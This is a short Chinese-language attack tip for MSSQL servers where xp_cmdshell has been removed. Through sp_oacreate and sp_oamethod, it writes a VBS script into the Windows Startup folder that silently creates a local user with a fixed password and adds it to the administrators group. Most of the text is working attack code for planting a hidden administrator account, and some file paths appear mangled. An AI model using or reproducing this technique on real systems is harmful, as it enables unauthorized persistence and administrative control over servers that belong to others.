mssql数据库中xp_cmdshell被删除,可以参考如下方法,加以解决。
先尝试恢复xp_cmdshell,sp_addextendedproc xp_cmdshell, xpsql70.dll,
结果发现xpsql70.dll被删除。
然后,在写vbs文件到启动组中:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out,
c:docume~1alluse~1「开始」菜单程序启动a.vbs, 1
exec @ret = sp_oamethod @f, writeline, NULL,
set wshshell=createobject("wscript.shell")
exec @ret = sp_oamethod @f, writeline, NULL,
a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)
exec @ret = sp_oamethod @f, writeline, NULL,
b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)